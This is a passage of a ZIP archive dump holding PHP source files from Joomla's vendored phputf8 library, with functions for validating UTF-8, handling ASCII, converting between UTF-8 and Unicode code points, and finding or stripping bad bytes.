$mState == 0) { // When mState is zero we expect either a US-ASCII character or a // multi-octet sequence. if (0 == (0x80 & ($in))) { // US-ASCII, pass straight through. $mBytes = 1; } else if (0xC0 == (0xE0 & ($in))) { // First octet of 2 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x1F) << 6; $mState = 1; $mBytes = 2; } else if (0xE0 == (0xF0 & ($in))) { // First octet of 3 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x0F) << 12; $mState = 2; $mBytes = 3; } else if (0xF0 == (0xF8 & ($in))) { // First octet of 4 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x07) << 18; $mState = 3; $mBytes = 4; } else if (0xF8 == (0xFC & ($in))) { /* First octet of 5 octet sequence. * * This is illegal because the encoded codepoint must be either * (a) not the shortest form or * (b) outside the Unicode range of 0-0x10FFFF. * Rather than trying to resynchronize, we will carry on until the end * of the sequence and let the later error handling code catch it. */ $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x03) << 24; $mState = 4; $mBytes = 5; } else if (0xFC == (0xFE & ($in))) { // First octet of 6 octet sequence, see comments for 5 octet sequence. $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 1) << 30; $mState = 5; $mBytes = 6; } else { /* Current octet is neither in the US-ASCII range nor a legal first * octet of a multi-octet sequence. */ return FALSE; } } else { // When mState is non-zero, we expect a continuation of the multi-octet // sequence if (0x80 == (0xC0 & ($in))) { // Legal continuation. $shift = ($mState - 1) * 6; $tmp = $in; $tmp = ($tmp & 0x0000003F) << $shift; $mUcs4 |= $tmp; /** * End of the multi-octet sequence. mUcs4 now contains the final * Unicode codepoint to be output */ if (0 == --$mState) { /* * Check for illegal sequences and codepoints. */ // From Unicode 3.1, non-shortest form is illegal if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || ((3 == $mBytes) && ($mUcs4 < 0x0800)) || ((4 == $mBytes) && ($mUcs4 < 0x10000)) || (4 < $mBytes) || // From Unicode 3.2, surrogate characters are illegal (($mUcs4 & 0xFFFFF800) == 0xD800) || // Codepoints outside the Unicode range are illegal ($mUcs4 > 0x10FFFF)) { return FALSE; } //initialize UTF8 cache $mState = 0; $mUcs4 = 0; $mBytes = 1; } } else { /** *((0xC0 & (*in) != 0x80) && (mState != 0)) * Incomplete multi-octet sequence. */ return FALSE; } } } return TRUE; } //-------------------------------------------------------------------- /** * Tests whether a string complies as UTF-8. This will be much * faster than utf8_is_valid but will pass five and six octet * UTF-8 sequences, which are not supported by Unicode and * so cannot be displayed correctly in a browser. In other words * it is not as strict as utf8_is_valid but it's faster. If you use * is to validate user input, you place yourself at the risk that * attackers will be able to inject 5 and 6 byte sequences (which * may or may not be a significant risk, depending on what you are * are doing) * @see utf8_is_valid * @see http://www.php.net/manual/en/reference.pcre.pattern.modifiers.php#54805 * @param string UTF-8 string to check * @return boolean TRUE if string is valid UTF-8 * @package utf8 */ function utf8_compliant($str) { if ( strlen($str) == 0 ) { return TRUE; } // If even just the first character can be matched, when the /u // modifier is used, then it's valid UTF-8. If the UTF-8 is somehow // invalid, nothing at all will match, even if the string contains // some valid sequences return (preg_match('/^.{1}/us',$str,$ar) == 1); } PKÜ�\Qc�!!0vendor/joomla/string/src/phputf8/utils/ascii.phpnu�[���<?php /** * Tools to help with ASCII in UTF-8 * * @package utf8 */ //-------------------------------------------------------------------- /** * Tests whether a string contains only 7bit ASCII bytes. * You might use this to conditionally check whether a string * needs handling as UTF-8 or not, potentially offering performance * benefits by using the native PHP equivalent if it's just ASCII e.g.; * * <code> * if ( utf8_is_ascii($someString) ) { * // It's just ASCII - use the native PHP version * $someString = strtolower($someString); * } else { * $someString = utf8_strtolower($someString); * } * </code> * * @param string * @return boolean TRUE if it's all ASCII * @package utf8 * @see utf8_is_ascii_ctrl */ function utf8_is_ascii($str) { // Search for any bytes which are outside the ASCII range... return (preg_match('/(?:[^\x00-\x7F])/',$str) !== 1); } //-------------------------------------------------------------------- /** * Tests whether a string contains only 7bit ASCII bytes with device * control codes omitted. The device control codes can be found on the * second table here: http://www.w3schools.com/tags/ref_ascii.asp * * @param string * @return boolean TRUE if it's all ASCII without device control codes * @package utf8 * @see utf8_is_ascii */ function utf8_is_ascii_ctrl($str) { if ( strlen($str) > 0 ) { // Search for any bytes which are outside the ASCII range, // or are device control codes return (preg_match('/[^\x09\x0A\x0D\x20-\x7E]/',$str) !== 1); } return FALSE; } //-------------------------------------------------------------------- /** * Strip out all non-7bit ASCII bytes * If you need to transmit a string to system which you know can only * support 7bit ASCII, you could use this function. * @param string * @return string with non ASCII bytes removed * @package utf8 * @see utf8_strip_non_ascii_ctrl */ function utf8_strip_non_ascii($str) { ob_start(); while ( preg_match( '/^([\x00-\x7F]+)|([^\x00-\x7F]+)/S', $str, $matches) ) { if ( !isset($matches[2]) ) { echo $matches[0]; } $str = substr($str, strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /** * Strip out device control codes in the ASCII range * which are not permitted in XML. Note that this leaves * multi-byte characters untouched - it only removes device * control codes * @see http://hsivonen.iki.fi/producing-xml/#controlchar * @param string * @return string control codes removed */ function utf8_strip_ascii_ctrl($str) { ob_start(); while ( preg_match( '/^([^\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)|([\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+)/S', $str, $matches) ) { if ( !isset($matches[2]) ) { echo $matches[0]; } $str = substr($str, strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /** * Strip out all non 7bit ASCII bytes and ASCII device control codes. * For a list of ASCII device control codes see the 2nd table here: * http://www.w3schools.com/tags/ref_ascii.asp * * @param string * @return boolean TRUE if it's all ASCII * @package utf8 */ function utf8_strip_non_ascii_ctrl($str) { ob_start(); while ( preg_match( '/^([\x09\x0A\x0D\x20-\x7E]+)|([^\x09\x0A\x0D\x20-\x7E]+)/S', $str, $matches) ) { if ( !isset($matches[2]) ) { echo $matches[0]; } $str = substr($str, strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //--------------------------------------------------------------- /** * Replace accented UTF-8 characters by unaccented ASCII-7 "equivalents". * The purpose of this function is to replace characters commonly found in Latin * alphabets with something more or less equivalent from the ASCII range. This can * be useful for converting a UTF-8 to something ready for a filename, for example. * Following the use of this function, you would probably also pass the string * through utf8_strip_non_ascii to clean out any other non-ASCII chars * Use the optional parameter to just deaccent lower ($case = -1) or upper ($case = 1) * letters. Default is to deaccent both cases ($case = 0) * * For a more complete implementation of transliteration, see the utf8_to_ascii package * available from the phputf8 project downloads: * http://prdownloads.sourceforge.net/phputf8 * * @param string UTF-8 string * @param int (optional) -1 lowercase only, +1 uppercase only, 1 both cases * @param string UTF-8 with accented characters replaced by ASCII chars * @return string accented chars replaced with ascii equivalents * @author Andreas Gohr <andi@splitbrain.org> * @package utf8 */ function utf8_accents_to_ascii( $str, $case=0 ){ static $UTF8_LOWER_ACCENTS = NULL; static $UTF8_UPPER_ACCENTS = NULL; if($case <= 0){ if ( is_null($UTF8_LOWER_ACCENTS) ) { $UTF8_LOWER_ACCENTS = array( 'à' => 'a', 'ô' => 'o', 'ď' => 'd', 'ḟ' => 'f', 'ë' => 'e', 'š' => 's', 'ơ' => 'o', 'ß' => 'ss', 'ă' => 'a', 'ř' => 'r', 'ț' => 't', 'ň' => 'n', 'ā' => 'a', 'ķ' => 'k', 'ŝ' => 's', 'ỳ' => 'y', 'ņ' => 'n', 'ĺ' => 'l', 'ħ' => 'h', 'ṗ' => 'p', 'ó' => 'o', 'ú' => 'u', 'ě' => 'e', 'é' => 'e', 'ç' => 'c', 'ẁ' => 'w', 'ċ' => 'c', 'õ' => 'o', 'ṡ' => 's', 'ø' => 'o', 'ģ' => 'g', 'ŧ' => 't', 'ș' => 's', 'ė' => 'e', 'ĉ' => 'c', 'ś' => 's', 'î' => 'i', 'ű' => 'u', 'ć' => 'c', 'ę' => 'e', 'ŵ' => 'w', 'ṫ' => 't', 'ū' => 'u', 'č' => 'c', 'ö' => 'oe', 'è' => 'e', 'ŷ' => 'y', 'ą' => 'a', 'ł' => 'l', 'ų' => 'u', 'ů' => 'u', 'ş' => 's', 'ğ' => 'g', 'ļ' => 'l', 'ƒ' => 'f', 'ž' => 'z', 'ẃ' => 'w', 'ḃ' => 'b', 'å' => 'a', 'ì' => 'i', 'ï' => 'i', 'ḋ' => 'd', 'ť' => 't', 'ŗ' => 'r', 'ä' => 'ae', 'í' => 'i', 'ŕ' => 'r', 'ê' => 'e', 'ü' => 'ue', 'ò' => 'o', 'ē' => 'e', 'ñ' => 'n', 'ń' => 'n', 'ĥ' => 'h', 'ĝ' => 'g', 'đ' => 'd', 'ĵ' => 'j', 'ÿ' => 'y', 'ũ' => 'u', 'ŭ' => 'u', 'ư' => 'u', 'ţ' => 't', 'ý' => 'y', 'ő' => 'o', 'â' => 'a', 'ľ' => 'l', 'ẅ' => 'w', 'ż' => 'z', 'ī' => 'i', 'ã' => 'a', 'ġ' => 'g', 'ṁ' => 'm', 'ō' => 'o', 'ĩ' => 'i', 'ù' => 'u', 'į' => 'i', 'ź' => 'z', 'á' => 'a', 'û' => 'u', 'þ' => 'th', 'ð' => 'dh', 'æ' => 'ae', 'µ' => 'u', 'ĕ' => 'e', ); } $str = str_replace( array_keys($UTF8_LOWER_ACCENTS), array_values($UTF8_LOWER_ACCENTS), $str ); } if($case >= 0){ if ( is_null($UTF8_UPPER_ACCENTS) ) { $UTF8_UPPER_ACCENTS = array( 'À' => 'A', 'Ô' => 'O', 'Ď' => 'D', 'Ḟ' => 'F', 'Ë' => 'E', 'Š' => 'S', 'Ơ' => 'O', 'Ă' => 'A', 'Ř' => 'R', 'Ț' => 'T', 'Ň' => 'N', 'Ā' => 'A', 'Ķ' => 'K', 'Ŝ' => 'S', 'Ỳ' => 'Y', 'Ņ' => 'N', 'Ĺ' => 'L', 'Ħ' => 'H', 'Ṗ' => 'P', 'Ó' => 'O', 'Ú' => 'U', 'Ě' => 'E', 'É' => 'E', 'Ç' => 'C', 'Ẁ' => 'W', 'Ċ' => 'C', 'Õ' => 'O', 'Ṡ' => 'S', 'Ø' => 'O', 'Ģ' => 'G', 'Ŧ' => 'T', 'Ș' => 'S', 'Ė' => 'E', 'Ĉ' => 'C', 'Ś' => 'S', 'Î' => 'I', 'Ű' => 'U', 'Ć' => 'C', 'Ę' => 'E', 'Ŵ' => 'W', 'Ṫ' => 'T', 'Ū' => 'U', 'Č' => 'C', 'Ö' => 'Oe', 'È' => 'E', 'Ŷ' => 'Y', 'Ą' => 'A', 'Ł' => 'L', 'Ų' => 'U', 'Ů' => 'U', 'Ş' => 'S', 'Ğ' => 'G', 'Ļ' => 'L', 'Ƒ' => 'F', 'Ž' => 'Z', 'Ẃ' => 'W', 'Ḃ' => 'B', 'Å' => 'A', 'Ì' => 'I', 'Ï' => 'I', 'Ḋ' => 'D', 'Ť' => 'T', 'Ŗ' => 'R', 'Ä' => 'Ae', 'Í' => 'I', 'Ŕ' => 'R', 'Ê' => 'E', 'Ü' => 'Ue', 'Ò' => 'O', 'Ē' => 'E', 'Ñ' => 'N', 'Ń' => 'N', 'Ĥ' => 'H', 'Ĝ' => 'G', 'Đ' => 'D', 'Ĵ' => 'J', 'Ÿ' => 'Y', 'Ũ' => 'U', 'Ŭ' => 'U', 'Ư' => 'U', 'Ţ' => 'T', 'Ý' => 'Y', 'Ő' => 'O', 'Â' => 'A', 'Ľ' => 'L', 'Ẅ' => 'W', 'Ż' => 'Z', 'Ī' => 'I', 'Ã' => 'A', 'Ġ' => 'G', 'Ṁ' => 'M', 'Ō' => 'O', 'Ĩ' => 'I', 'Ù' => 'U', 'Į' => 'I', 'Ź' => 'Z', 'Á' => 'A', 'Û' => 'U', 'Þ' => 'Th', 'Ð' => 'Dh', 'Æ' => 'Ae', 'Ĕ' => 'E', ); } $str = str_replace( array_keys($UTF8_UPPER_ACCENTS), array_values($UTF8_UPPER_ACCENTS), $str ); } return $str; } PKÜ�\4�/%/%2vendor/joomla/string/src/phputf8/utils/unicode.phpnu�[���<?php /** * Tools for conversion between UTF-8 and unicode * The Original Code is Mozilla Communicator client code. * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi) * Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks gmail com) * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 */ //-------------------------------------------------------------------- /** * Takes an UTF-8 string and returns an array of ints representing the * Unicode characters. Astral planes are supported ie. the ints in the * output can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates * are not allowed. * Returns false if the input string isn't a valid UTF-8 octet sequence * and raises a PHP error at level E_USER_WARNING * Note: this function has been modified slightly in this library to * trigger errors on encountering bad bytes * * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result this function has been * modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references * * @author <hsivonen@iki.fi> * @param string UTF-8 encoded string * @return mixed array of unicode code points or FALSE if UTF-8 invalid * @see utf8_from_unicode * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 */ function utf8_to_unicode($str) { $mState = 0; // cached expected number of octets after the current octet // until the beginning of the next UTF8 character sequence $mUcs4 = 0; // cached Unicode character $mBytes = 1; // cached expected number of octets in the current sequence $out = array(); $len = strlen($str); for($i = 0; $i < $len; $i++) { $in = ord($str[$i]); if ( $mState == 0) { // When mState is zero we expect either a US-ASCII character or a // multi-octet sequence. if (0 == (0x80 & ($in))) { // US-ASCII, pass straight through. $out[] = $in; $mBytes = 1; } else if (0xC0 == (0xE0 & ($in))) { // First octet of 2 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x1F) << 6; $mState = 1; $mBytes = 2; } else if (0xE0 == (0xF0 & ($in))) { // First octet of 3 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x0F) << 12; $mState = 2; $mBytes = 3; } else if (0xF0 == (0xF8 & ($in))) { // First octet of 4 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x07) << 18; $mState = 3; $mBytes = 4; } else if (0xF8 == (0xFC & ($in))) { /* First octet of 5 octet sequence. * * This is illegal because the encoded codepoint must be either * (a) not the shortest form or * (b) outside the Unicode range of 0-0x10FFFF. * Rather than trying to resynchronize, we will carry on until the end * of the sequence and let the later error handling code catch it. */ $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x03) << 24; $mState = 4; $mBytes = 5; } else if (0xFC == (0xFE & ($in))) { // First octet of 6 octet sequence, see comments for 5 octet sequence. $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 1) << 30; $mState = 5; $mBytes = 6; } else { /* Current octet is neither in the US-ASCII range nor a legal first * octet of a multi-octet sequence. */ trigger_error( 'utf8_to_unicode: Illegal sequence identifier '. 'in UTF-8 at byte '.$i, E_USER_WARNING ); return FALSE; } } else { // When mState is non-zero, we expect a continuation of the multi-octet // sequence if (0x80 == (0xC0 & ($in))) { // Legal continuation. $shift = ($mState - 1) * 6; $tmp = $in; $tmp = ($tmp & 0x0000003F) << $shift; $mUcs4 |= $tmp; /** * End of the multi-octet sequence. mUcs4 now contains the final * Unicode codepoint to be output */ if (0 == --$mState) { /* * Check for illegal sequences and codepoints. */ // From Unicode 3.1, non-shortest form is illegal if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || ((3 == $mBytes) && ($mUcs4 < 0x0800)) || ((4 == $mBytes) && ($mUcs4 < 0x10000)) || (4 < $mBytes) || // From Unicode 3.2, surrogate characters are illegal (($mUcs4 & 0xFFFFF800) == 0xD800) || // Codepoints outside the Unicode range are illegal ($mUcs4 > 0x10FFFF)) { trigger_error( 'utf8_to_unicode: Illegal sequence or codepoint '. 'in UTF-8 at byte '.$i, E_USER_WARNING ); return FALSE; } if (0xFEFF != $mUcs4) { // BOM is legal but we don't want to output it $out[] = $mUcs4; } //initialize UTF8 cache $mState = 0; $mUcs4 = 0; $mBytes = 1; } } else { /** *((0xC0 & (*in) != 0x80) && (mState != 0)) * Incomplete multi-octet sequence. */ trigger_error( 'utf8_to_unicode: Incomplete multi-octet '. ' sequence in UTF-8 at byte '.$i, E_USER_WARNING ); return FALSE; } } } return $out; } //-------------------------------------------------------------------- /** * Takes an array of ints representing the Unicode characters and returns * a UTF-8 string. Astral planes are supported ie. the ints in the * input can be > 0xFFFF. Occurrances of the BOM are ignored. Surrogates * are not allowed. * Returns false if the input array contains ints that represent * surrogates or are outside the Unicode range * and raises a PHP error at level E_USER_WARNING * Note: this function has been modified slightly in this library to use * output buffering to concatenate the UTF-8 string (faster) as well as * reference the array by it's keys * @param array of unicode code points representing a string * @return mixed UTF-8 string or FALSE if array contains invalid code points * @author <hsivonen@iki.fi> * @see utf8_to_unicode * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 */ function utf8_from_unicode($arr) { ob_start(); foreach (array_keys($arr) as $k) { # ASCII range (including control chars) if ( ($arr[$k] >= 0) && ($arr[$k] <= 0x007f) ) { echo chr($arr[$k]); # 2 byte sequence } else if ($arr[$k] <= 0x07ff) { echo chr(0xc0 | ($arr[$k] >> 6)); echo chr(0x80 | ($arr[$k] & 0x003f)); # Byte order mark (skip) } else if($arr[$k] == 0xFEFF) { // nop -- zap the BOM # Test for illegal surrogates } else if ($arr[$k] >= 0xD800 && $arr[$k] <= 0xDFFF) { // found a surrogate trigger_error( 'utf8_from_unicode: Illegal surrogate '. 'at index: '.$k.', value: '.$arr[$k], E_USER_WARNING ); return FALSE; # 3 byte sequence } else if ($arr[$k] <= 0xffff) { echo chr(0xe0 | ($arr[$k] >> 12)); echo chr(0x80 | (($arr[$k] >> 6) & 0x003f)); echo chr(0x80 | ($arr[$k] & 0x003f)); # 4 byte sequence } else if ($arr[$k] <= 0x10ffff) { echo chr(0xf0 | ($arr[$k] >> 18)); echo chr(0x80 | (($arr[$k] >> 12) & 0x3f)); echo chr(0x80 | (($arr[$k] >> 6) & 0x3f)); echo chr(0x80 | ($arr[$k] & 0x3f)); } else { trigger_error( 'utf8_from_unicode: Codepoint out of Unicode range '. 'at index: '.$k.', value: '.$arr[$k], E_USER_WARNING ); // out of range return FALSE; } } $result = ob_get_contents(); ob_end_clean(); return $result; } PKÜ�\����6�6.vendor/joomla/string/src/phputf8/utils/bad.phpnu�[���<?php /** * Tools for locating / replacing bad bytes in UTF-8 strings * The Original Code is Mozilla Communicator client code. * The Initial Developer of the Original Code is * Netscape Communications Corporation. * Portions created by the Initial Developer are Copyright (C) 1998 * the Initial Developer. All Rights Reserved. * Ported to PHP by Henri Sivonen (http://hsivonen.iki.fi) * Slight modifications to fit with phputf8 library by Harry Fuecks (hfuecks gmail com) * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUTF8ToUnicode.cpp * @see http://lxr.mozilla.org/seamonkey/source/intl/uconv/src/nsUnicodeToUTF8.cpp * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 * @see utf8_is_valid */ //-------------------------------------------------------------------- /** * Locates the first bad byte in a UTF-8 string returning it's * byte index in the string * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string * @return mixed integer byte index or FALSE if no bad found * @package utf8 */ function utf8_bad_find($str) { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '|(.{1}))'; # invalid byte $pos = 0; $badList = array(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { $bytes = strlen($matches[0]); if ( isset($matches[2])) { return $pos; } $pos += $bytes; $str = substr($str,$bytes); } return FALSE; } //-------------------------------------------------------------------- /** * Locates all bad bytes in a UTF-8 string and returns a list of their * byte index in the string * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string * @return mixed array of integers or FALSE if no bad found * @package utf8 */ function utf8_bad_findall($str) { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '|(.{1}))'; # invalid byte $pos = 0; $badList = array(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { $bytes = strlen($matches[0]); if ( isset($matches[2])) { $badList[] = $pos; } $pos += $bytes; $str = substr($str,$bytes); } if ( count($badList) > 0 ) { return $badList; } return FALSE; } //-------------------------------------------------------------------- /** * Strips out any bad bytes from a UTF-8 string and returns the rest * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string * @return string * @package utf8 */ function utf8_bad_strip($str) { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '|(.{1}))'; # invalid byte ob_start(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { if ( !isset($matches[2])) { echo $matches[0]; } $str = substr($str,strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /** * Replace bad bytes with an alternative character - ASCII character * recommended is replacement char * PCRE Pattern to locate bad bytes in a UTF-8 string * Comes from W3 FAQ: Multilingual Forms * Note: modified to include full ASCII range including control chars * @see http://www.w3.org/International/questions/qa-forms-utf-8 * @param string to search * @param string to replace bad bytes with (defaults to '?') - use ASCII * @return string * @package utf8 */ function utf8_bad_replace($str, $replace = '?') { $UTF8_BAD = '([\x00-\x7F]'. # ASCII (including control chars) '|[\xC2-\xDF][\x80-\xBF]'. # non-overlong 2-byte '|\xE0[\xA0-\xBF][\x80-\xBF]'. # excluding overlongs '|[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}'. # straight 3-byte '|\xED[\x80-\x9F][\x80-\xBF]'. # excluding surrogates '|\xF0[\x90-\xBF][\x80-\xBF]{2}'. # planes 1-3 '|[\xF1-\xF3][\x80-\xBF]{3}'. # planes 4-15 '|\xF4[\x80-\x8F][\x80-\xBF]{2}'. # plane 16 '|(.{1}))'; # invalid byte ob_start(); while (preg_match('/'.$UTF8_BAD.'/S', $str, $matches)) { if ( !isset($matches[2])) { echo $matches[0]; } else { echo $replace; } $str = substr($str,strlen($matches[0])); } $result = ob_get_contents(); ob_end_clean(); return $result; } //-------------------------------------------------------------------- /** * Return code from utf8_bad_identify() when a five octet sequence is detected. * Note: 5 octets sequences are valid UTF-8 but are not supported by Unicode so * do not represent a useful character * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_5OCTET',1); /** * Return code from utf8_bad_identify() when a six octet sequence is detected. * Note: 6 octets sequences are valid UTF-8 but are not supported by Unicode so * do not represent a useful character * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_6OCTET',2); /** * Return code from utf8_bad_identify(). * Invalid octet for use as start of multi-byte UTF-8 sequence * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_SEQID',3); /** * Return code from utf8_bad_identify(). * From Unicode 3.1, non-shortest form is illegal * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_NONSHORT',4); /** * Return code from utf8_bad_identify(). * From Unicode 3.2, surrogate characters are illegal * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_SURROGATE',5); /** * Return code from utf8_bad_identify(). * Codepoints outside the Unicode range are illegal * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_UNIOUTRANGE',6); /** * Return code from utf8_bad_identify(). * Incomplete multi-octet sequence * Note: this is kind of a "catch-all" * @see utf8_bad_identify * @package utf8 */ define('UTF8_BAD_SEQINCOMPLETE',7); //-------------------------------------------------------------------- /** * Reports on the type of bad byte found in a UTF-8 string. Returns a * status code on the first bad byte found * * Joomla modification - As of PHP 7.4, curly brace access has been deprecated. As a result this function has been * modified to use square brace syntax * See https://github.com/php/php-src/commit/d574df63dc375f5fc9202ce5afde23f866b6450a * for additional references * * @author <hsivonen@iki.fi> * @param string UTF-8 encoded string * @return mixed integer constant describing problem or FALSE if valid UTF-8 * @see utf8_bad_explain * @see http://hsivonen.iki.fi/php-utf8/ * @package utf8 */ function utf8_bad_identify($str, &$i) { $mState = 0; // cached expected number of octets after the current octet // until the beginning of the next UTF8 character sequence $mUcs4 = 0; // cached Unicode character $mBytes = 1; // cached expected number of octets in the current sequence $len = strlen($str); for($i = 0; $i < $len; $i++) { $in = ord($str[$i]); if ( $mState == 0) { // When mState is zero we expect either a US-ASCII character or a // multi-octet sequence. if (0 == (0x80 & ($in))) { // US-ASCII, pass straight through. $mBytes = 1; } else if (0xC0 == (0xE0 & ($in))) { // First octet of 2 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x1F) << 6; $mState = 1; $mBytes = 2; } else if (0xE0 == (0xF0 & ($in))) { // First octet of 3 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x0F) << 12; $mState = 2; $mBytes = 3; } else if (0xF0 == (0xF8 & ($in))) { // First octet of 4 octet sequence $mUcs4 = ($in); $mUcs4 = ($mUcs4 & 0x07) << 18; $mState = 3; $mBytes = 4; } else if (0xF8 == (0xFC & ($in))) { /* First octet of 5 octet sequence. * * This is illegal because the encoded codepoint must be either * (a) not the shortest form or * (b) outside the Unicode range of 0-0x10FFFF. */ return UTF8_BAD_5OCTET; } else if (0xFC == (0xFE & ($in))) { // First octet of 6 octet sequence, see comments for 5 octet sequence. return UTF8_BAD_6OCTET; } else { // Current octet is neither in the US-ASCII range nor a legal first // octet of a multi-octet sequence. return UTF8_BAD_SEQID; } } else { // When mState is non-zero, we expect a continuation of the multi-octet // sequence if (0x80 == (0xC0 & ($in))) { // Legal continuation. $shift = ($mState - 1) * 6; $tmp = $in; $tmp = ($tmp & 0x0000003F) << $shift; $mUcs4 |= $tmp; /** * End of the multi-octet sequence. mUcs4 now contains the final * Unicode codepoint to be output */ if (0 == --$mState) { // From Unicode 3.1, non-shortest form is illegal if (((2 == $mBytes) && ($mUcs4 < 0x0080)) || ((3 == $mBytes) && ($mUcs4 < 0x0800)) || ((4 == $mBytes) && ($mUcs4 < 0x10000)) ) { return UTF8_BAD_NONSHORT; // From Unicode 3.2, surrogate characters are illegal } else if (($mUcs4 & 0xFFFFF800) == 0xD800) { return UTF8_BAD_SURROGATE; // Codepoints outside the Unicode range are illegal } else if ($mUcs4 > 0x10FFFF) { return UTF8_BAD_UNIOUTRANGE; } //initialize UTF8 cache $mState = 0; $mUcs4 = 0; $mBytes = 1; } } else { // ((0xC0 & (*in) != 0x80) && (mState != 0)) // Incomplete multi-octet sequence. $i--; return UTF8_BAD_SEQINCOMPLETE; } } } if ( $mState != 0 ) { // Incomplete multi-octet sequence. $i--; return UTF8_BAD_SEQINCOMPLETE; } // No bad octets found $i = NULL; return FALSE; } //-------------------------------------------------------------------- /** * Takes a return code from utf8_bad_identify() are returns a message * (in English) explaining what the problem is. * @param int return code from utf8_bad_identify * @return mixed string message or FALSE if return code unknown * @see utf8_bad_identify * @package utf8 */ function utf8_bad_explain($code) { switch ($code) { case UTF8_BAD_5OCTET: return 'Five octet sequences are valid UTF-8 but are not supported by Unicode'; break; case UTF8_BAD_6OCTET: return 'Six octet sequences are valid UTF-8 but are not supported by Unicode'; break; case UTF8_BAD_SEQID: return 'Invalid octet for use as start of multi-byte UTF-8 sequence'; break; case UTF8_BAD_NONSHORT: return 'From Unicode 3.1, non-shortest form is illegal'; break; case UTF8_BAD_SURROGATE: return 'From Unicode 3.2, surrogate characters are illegal'; break; case UTF8_BAD_UNIOUTRANGE: return 'Codepoints outside the Unicode range are illegal'; break; case UTF8_BAD_SEQINCOMPLETE: return 'Incomplete multi-octet sequence'; break; } trigger_error('Unknown error code: '.$code,E_USER_WARNING); return FALSE; } 